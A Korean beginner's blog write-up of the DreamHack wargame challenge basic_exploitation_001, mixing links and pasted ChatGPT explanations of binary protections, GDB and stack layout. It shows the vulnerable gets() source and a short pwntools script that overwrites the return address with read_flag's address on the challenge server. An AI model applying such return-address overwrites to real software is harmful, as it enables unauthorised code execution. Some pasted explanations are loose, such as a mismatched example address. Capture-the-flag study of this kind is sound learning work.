https://jhyuxxk.tistory.com/22
DreamHack 1단계 basic_exploitation_001
DreamHack 1단계 basic_exploitation_001 문제를 풀어보겠다. 위 그림에서 NX 보호 기법이 활성화 되어있음에 따라 쉘 코드가 실행되지 않다는 것을 알 수 있다. main 함수 : buf 에 0x80만큼 사이즈가 할당되는
jhyuxxk.tistory.com
https://velog.io/@silvergun8291/Dreamhack-basicexploitation001
[Dreamhack] basic_exploitation_001
문제 소스코드를 출력해보면gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_
velog.io
https://0secusik0.tistory.com/2
[Dreamhack] Basic_Exploitation_001
보호 기법 확인 32bit 바이너리 relro 없음 카나리 없음 nx bit 존재 → shellcode 삽입 불가 pie 없음 바이너리 실행 단순히 사용자의 입력만 받고 있음 입력 값에 대한 검증 실시x 소스코드 분석 #include #
0secusik0.tistory.com
https://skyups10.tistory.com/entry/dreamhack-basicexploitation001-pwnable
[dreamhack] basic_exploitation_001 (pwnable)
https://dreamhack.io/wargame/challenges/3/ basic_exploitation_001 Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플
skyups10.tistory.com
문제 풀이를 위해 열심히 참고했다...!
gpt:
주어진 정보는 Ubuntu 16.04에서 i386 아키텍처의 32비트 이진 파일에 대한 보안 특성 및 설정을 나타냅니다. 각 항목을 자세히 설명하겠습니다.
### 1. Ubuntu 16.04
- **운영 체제**: Ubuntu 16.04는 2016년에 출시된 리눅스 배포판입니다. 이 버전은 LTS(장기 지원)로, 안정성과 보안 업데이트가 장기간 제공됩니다.
### 2. Arch: i386-32-little
- **아키텍처**: `i386`은 Intel의 32비트 아키텍처를 의미합니다. `little`은 바이트 순서가 리틀 엔디안임을 나타내며, 이는 메모리에서 낮은 주소에 가장 낮은 바이트가 저장된다는 것을 의미합니다.
리틀 엔디안..!
https://tjrwjs147.tistory.com/233
[C] 리틀엔디안(Little Endian), 빅엔디안(Big Endian)
리틀엔디안(Little Endian)과 빅엔디안(Big Endian)은 컴퓨터 시스템에서 데이터를 저장하고 표현하는 방식을 나타내는 개념이다. 이것은 특히 컴퓨터의 바이트 순서를 의미한다. 리틀엔디안은 가장
tjrwjs147.tistory.com
### 3. RELRO: No RELRO
- **RELRO**: "Relocation Read-Only"의 약자입니다. 이 설정은 프로그램의 데이터 섹션을 읽기 전용으로 만드는 방법으로, 특정 메모리 취약점 공격으로부터 보호합니다. `No RELRO`는 이 기능이 활성화되지 않았음을 의미합니다.
- **안전성**: RELRO가 없으면, 특정 메모리 영역이 변경될 수 있어 공격자가 메모리 구조를 악용할 가능성이 커집니다.
메모리구조 공격!
### 4. Stack: No canary found
- **스택 카나리**: 스택 오버플로우 공격을 방지하기 위해 사용되는 보안 기술입니다. 함수 호출 시 스택에 특별한 값(카나리)을 저장하고, 함수가 종료될 때 이 값이 변경되었는지 확인합니다.
- `No canary found`는 이 보호 기능이 활성화되어 있지 않음을 나타냅니다. 이는 스택 오버플로우 공격에 취약함을 의미합니다.
스택오버플로우!
### 5. NX: NX enabled
- **NX (No-eXecute)**: 이 설정은 특정 메모리 영역을 실행할 수 없도록 지정하는 보안 기능입니다. NX가 활성화되면 데이터 영역이 실행 가능한 코드로 해석되지 않으므로, 악성 코드가 메모리에 삽입되더라도 실행될 수 없습니다.
- `NX enabled`는 이 보호 기능이 활성화되어 있음을 나타내며, 이는 메모리 취약점을 통한 악성 코드 실행을 방지합니다.
shellcode삽입불가..
### 6. PIE: No PIE (0x8048000)
- **PIE (Position Independent Executable)**: 이 기술은 실행 파일의 메모리 주소를 랜덤화하여 공격자가 특정 주소를 타겟으로 삼는 것을 어렵게 만듭니다. `No PIE`는 이 기능이 비활성화되어 있다는 것을 의미하며, 이는 특정 메모리 주소를 목표로 하는 공격에 취약함을 의미합니다.
- `0x8048000`은 이 프로그램의 기본 주소(base address)를 나타내며, 이 주소는 프로그램이 메모리에서 로드되는 위치입니다.
특정 주소 타켓 공격!
### 요약
이 정보를 종합하면:
- **안전성**: 이 이진 파일은 스택 카나리와 RELRO 기능이 없어서 스택 오버플로우 공격에 취약합니다. PIE가 비활성화되어 있어 메모리 주소를 예측할 수 있으며, 이는 공격자가 특정 메모리 위치를 타겟으로 삼는 데 유리합니다. 반면, NX가 활성화되어 있어 데이터 영역에서의 코드 실행을 방지합니다.
- **결과**: 이러한 보안 설정은 실행 파일이 공격에 얼마나 취약한지를 나타내며, 공격자는 이 정보를 바탕으로 특정 취약점을 악용할 수 있습니다.
추가적인 질문이 있다면 언제든지 말씀해 주세요!
소스코드다..
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { // flag 파일을 읽어주는 함수
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80]; // buf[128]
initialize();
gets(buf); // 크기에 제한없이 buf에 입력을 받음
return 0;
}
지피티야 지피티야
gpt:
주어진 C 코드에서 `/flag` 파일의 내용을 출력하려면 프로그램의 취약점을 이용해야 합니다. 이 프로그램은 `gets()` 함수를 사용하고 있으며, 이 함수는 버퍼 오버플로우 취약점이 있습니다. 이로 인해 특정 방식으로 공격할 수 있습니다.
위에서 얘기한 버퍼오버플로우 문제군..
### 코드 분석
1. **신호 처리**:
- `signal(SIGALRM, alarm_handler);`는 `SIGALRM` 신호가 발생할 때 `alarm_handler` 함수를 호출하도록 설정합니다.
- `alarm(30);`는 30초 후에 `SIGALRM` 신호를 발생시킵니다. 이 신호가 발생하면 "TIME OUT" 메시지를 출력하고 프로그램이 종료됩니다.
2. **버퍼와 입력**:
- `char buf[0x80];`는 128바이트의 버퍼를 선언합니다.
- `gets(buf);`는 사용자로부터 입력을 받는데, 이 함수는 입력 크기를 제한하지 않으므로 버퍼 오버플로우 공격에 취약합니다.
3. **Flag 읽기**:
- `read_flag()` 함수는 `system("cat /flag");`를 호출하여 `/flag` 파일의 내용을 출력합니다.
### 공격 방법
1. **버퍼 오버플로우 이용**:
- `gets(buf);`에 입력하는 데이터를 통해 버퍼를 오버플로우시키고, `read_flag` 함수를 호출할 수 있습니다. 이를 위해서는 적절한 반환 주소를 덮어써야 합니다.
2. **메모리 주소**:
- `read_flag` 함수의 주소를 알아내야 하며, 이를 위해 프로그램을 실행할 수 있는 환경에서 주소를 확인해야 합니다.
- `gdb`와 같은 디버거를 사용하여 `read_flag`의 주소를 찾거나, `objdump`로 이진 파일을 분석할 수 있습니다.
3. **페이로드 작성**:
- 128바이트 버퍼를 채운 후, 그 다음에 `read_flag` 함수의 주소를 덮어씌운 데이터를 준비해야 합니다.
### 예시 페이로드
- 만약 `read_flag` 함수의 주소가 `0x400123`라고 가정하면, 입력할 데이터는 다음과 같습니다:
- `A` * 128 (버퍼를 채우기 위한 문자)
- `0x23`, `0x01`, `0x40`, `0x00` (리틀 엔디안 형식으로 주소를 추가)
- 이를 통해 공격자의 입력이 버퍼를 넘어서 `read_flag`를 호출하도록 만듭니다.
### 실행 절차
1. **코드 컴파일**:
- 코드를 컴파일하고 실행합니다.
```bash
gcc -o vuln_program vuln.c -m32
```
2. **디버깅**:
- `gdb vuln_program`으로 실행하고, `read_flag`의 주소를 확인합니다.
3. **입력**:
- 프로그램 실행 후, 128 바이트의 `A`를 입력한 뒤 `read_flag` 주소를 입력합니다.
4. **결과**:
- 프로그램이 `read_flag`를 호출하면 `/flag`의 내용이 출력됩니다.
이 방법은 특정 상황에 맞춰 조정해야 할 수 있으며, 실행 환경이나 컴파일러에 따라 다르게 작동할 수 있습니다. 추가적인 질문이나 도움이 필요하면 말씀해 주세요!
gbd가 뭐야 지피티야..
gpt:
GDB (GNU Debugger)는 리눅스에서 프로그램을 디버깅할 때 사용되는 강력한 도구입니다. GDB를 사용하면 프로그램의 실행을 제어하고, 변수 값을 확인하며, 스택 트레이스를 검사하고, 프로그램을 중단시키고, 코드의 흐름을 변경할 수 있습니다.
여기 GDB에서 자주 사용되는 주요 명령어를 정리해 보겠습니다:
### 기본 명령어
1. **시작 및 종료**
- `gdb <program>`: 디버깅할 프로그램을 GDB로 실행합니다.
- `run`: 프로그램을 실행합니다.
- `quit`: GDB를 종료합니다.
2. **브레이크포인트 설정**
- `break <location>` 또는 `b <location>`: 특정 위치에 브레이크포인트를 설정합니다. `<location>`은 함수 이름이나 소스 코드의 행 번호일 수 있습니다.
- `delete`: 모든 브레이크포인트를 삭제합니다.
- `disable <breakpoint_number>`: 특정 브레이크포인트를 비활성화합니다.
- `enable <breakpoint_number>`: 특정 브레이크포인트를 활성화합니다.
3. **프로그램 실행 제어**
- `continue` 또는 `c`: 프로그램을 재개합니다.
- `step` 또는 `s`: 다음 명령어를 한 줄씩 실행하며 함수 호출 내부로 들어갑니다.
- `next` 또는 `n`: 다음 명령어를 실행하되 함수 호출 내부로는 들어가지 않습니다.
- `finish`: 현재 함수의 실행을 마치고 반환합니다.
4. **변수 및 메모리 확인**
- `print <variable>` 또는 `p <variable>`: 변수의 값을 출력합니다.
- `display <variable>`: 변수의 값을 계속 표시합니다.
- `info locals`: 현재 함수의 지역 변수 값을 보여줍니다.
- `info args`: 현재 함수의 인자 값을 보여줍니다.
- `x/<format> <address>`: 메모리 내용을 확인합니다. `<format>`은 예를 들어 `x/10x`는 10개의 16진수 값을 표시합니다.
5. **스택 및 스레드 관리**
- `backtrace` 또는 `bt`: 스택 트레이스를 출력합니다.
- `frame <frame_number>`: 특정 프레임으로 이동합니다.
- `info threads`: 현재 스레드 정보를 보여줍니다.
- `thread <thread_number>`: 특정 스레드로 전환합니다.
### 기타 유용한 명령어
- `list`: 소스 코드를 표시합니다.
- `help`: 사용 가능한 명령어 목록 및 도움말을 보여줍니다.
- `file <filename>`: 디버깅할 실행 파일을 설정합니다.
- `set args <args>`: 프로그램 실행 시 인자로 사용할 값을 설정합니다.
### 사용 예시
1. GDB 시작:
```bash
gdb my_program
```
2. 브레이크포인트 설정:
```gdb
b main # main 함수에 브레이크포인트 설정
run # 프로그램 실행
```
3. 프로그램 실행 제어:
```gdb
c # 계속 실행
s # 다음 줄로 이동
```
4. 변수 출력:
```gdb
p my_variable # 변수 값 출력
```
이 외에도 GDB는 많은 기능을 제공하므로 필요에 따라 공식 문서나 추가 자료를 참고하면 좋습니다. GDB 사용법에 대한 질문이 있다면 언제든지 말씀해 주세요!
블로그 풀이글 + gtp의 말을 정리하면 이 문제는
gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능
스택의 기본 구조는 Buffer + SFP (4Byte) + RET (4Byte)
buf 의 크기는 128 Byte 이고 SFP 의 크기는 4 Byte 이므로 RET 전까지
바이트 수는 132 바이트라는 것을 알 수 있다.
즉, 132 바이트까지 gets 로 입력을 하고 RET 에 침범하여, read_flag 함수의 주소 값을 넣어주면
강제로 read_flag 함수를 호출하여 권한을 탈취할 수 있다.
출처ㅣ https://jhyuxxk.tistory.com/22
이미지 출처
https://velog.io/@silvergun8291/Dreamhack-basicexploitation001
[Dreamhack] basic_exploitation_001
문제 소스코드를 출력해보면gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_
velog.io
gpt:
주어진 내용은 `gets()` 함수의 취약점을 이용한 버퍼 오버플로우 공격에 대한 설명입니다. 이 내용을 좀 더 자세히 분석해 보겠습니다.
### 기본 개념
1. **버퍼 오버플로우**:
- `gets()` 함수는 사용자가 입력하는 데이터를 버퍼에 저장하는 함수입니다. 하지만, 이 함수는 입력 크기에 대한 제한을 두지 않기 때문에, 입력 데이터가 버퍼의 크기를 초과할 경우 인접한 메모리 영역을 덮어쓸 수 있습니다. 이를 통해 공격자는 프로그램의 흐름을 변경할 수 있습니다.
2. **스택 구조**:
- 스택은 함수 호출 시 다음과 같은 기본 구조를 가집니다:
- **Buffer**: 지역 변수(예: `char buf[128];`)가 저장되는 공간입니다.
- **SFP (Saved Frame Pointer)**: 이전 함수의 기반 포인터(일반적으로 `ebp`)를 저장합니다. 이 공간은 4바이트입니다.
- **RET (Return Address)**: 함수 호출 후 돌아갈 주소를 저장합니다. 이 공간 역시 4바이트입니다.
3. **스택 레이아웃**:
- 스택은 다음과 같이 구성됩니다 (상단에서 하단으로):
```
+----------------------+
| Buffer (128B) | <- buf
+----------------------+
| SFP (4B) | <- Saved Frame Pointer
+----------------------+
| RET (4B) | <- Return Address
+----------------------+
```
### 공격 시나리오
1. **입력 크기**:
- `buf`의 크기는 128바이트이고, SFP는 4바이트, RET는 4바이트입니다. 총 132바이트까지 입력을 받을 수 있습니다.
2. **입력 데이터**:
- 공격자는 `gets()` 함수를 통해 132바이트의 데이터를 입력합니다. 이 데이터에는 128바이트의 패딩(예: 'A'와 같은 값) 뒤에 SFP와 RET의 주소를 덮어쓰는 값이 포함됩니다.
3. **RET 주소 변경**:
- 공격자는 RET의 위치를 덮어쓰면서, `read_flag` 함수의 주소를 삽입합니다. 이로 인해, 원래의 프로그램 흐름이 변경되어 함수가 종료된 후에 대신 `read_flag`가 호출됩니다.
### 결과
- 공격자가 `read_flag`의 주소를 삽입하면, 프로그램의 정상적인 흐름 대신 `read_flag` 함수가 실행됩니다. 이 함수는 `/flag` 파일의 내용을 출력하므로, 공격자는 권한을 탈취할 수 있습니다.
### 예시 코드
여기서 간단한 예시 코드를 보여드리면, 공격자가 사용하는 페이로드는 대략 다음과 같을 수 있습니다:
```python
# 공격자의 페이로드 예시
payload = b"A" * 128 # Buffer를 채우기 위한 패딩
payload += b"\x12\x34\x56\x78" # read_flag의 주소를 리틀 엔디안 형식으로 입력
# 해당 페이로드를 프로그램에 입력하여 실행
```
이렇게 함으로써 공격자는 버퍼 오버플로우를 활용하여 프로그램의 흐름을 변경하고, `/flag` 파일의 내용을 읽어올 수 있습니다. 추가 질문이나 궁금한 부분이 있으면 언제든지 말씀해 주세요!
흐으으음 완전히 이해는 못했지만 어떤 구조인지는 대략 알겠다.
덮어쓰워서 flag 주소가 나오게해서 문제를 풀어야할 것 같다.
우분투를 이용해 서버 접속한다..
gdb를 이용
info func명령어
from pwn import *
p = remote('host1.dreamhack.games', 11726)
e = ELF('./basic_exploitation_001')
payload = "A"*132
payload += p32(e.symbols['read_flag'])
p.sendline(payload)
p.interactive()
코드를 짰다.
gpt:
이는 변수 이름의 충돌로 인해 특정 객체가 int 타입으로 재정의된 경우일 수 있습니다.
이 오류는 일반적으로 함수나 메서드가 아닌 정수형 변수를 호출하려고 할 때 발생합니다.
먼저 pwn 모듈을 사용하기 위해서 import 시키고, 해당 문제가 있는 서버로 원격 접속을 하기 위해서
remote 클래스를 사용한다.
그 후 , 132 바이트까지 입력할 문자열을 만든다.
이때 python2 와 python3 의 방식이 다르므로 만약 python3 를 사용하고 있다면
문자열 앞에 바이트 형식으로 변화해준다는 문자열 b 를 꼭 작성해야 한다 !!
RET 전까지 바이트가 채워지면, read_flag 함수의 주소 값을 32 비트 리틀엔디안 패킹 방식으로 넣어준다.
그 후, sendline 을 통해 payload 의 값을 전송하고, interactive 를 통해 쉘에 접속한다.
출처ㅣ https://jhyuxxk.tistory.com/22
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[45] IT 비전공자 [dreamhack]Return Address Overwrite문제 풀기 (0) | 2024.10.24 |
---|---|
[44] IT 비전공자 [dreamhack]rev-basic-2 문제 풀기 (0) | 2024.10.23 |
[42] IT 비전공자 [dreamhack]rev-basic-3 문제 풀기 (0) | 2024.10.21 |
[41] IT 비전공자 [dreamhack]image-storage문제 풀기 (0) | 2024.10.20 |
[40] IT 비전공자 [dreamhack]csrf-2문제 풀기 (0) | 2024.10.19 |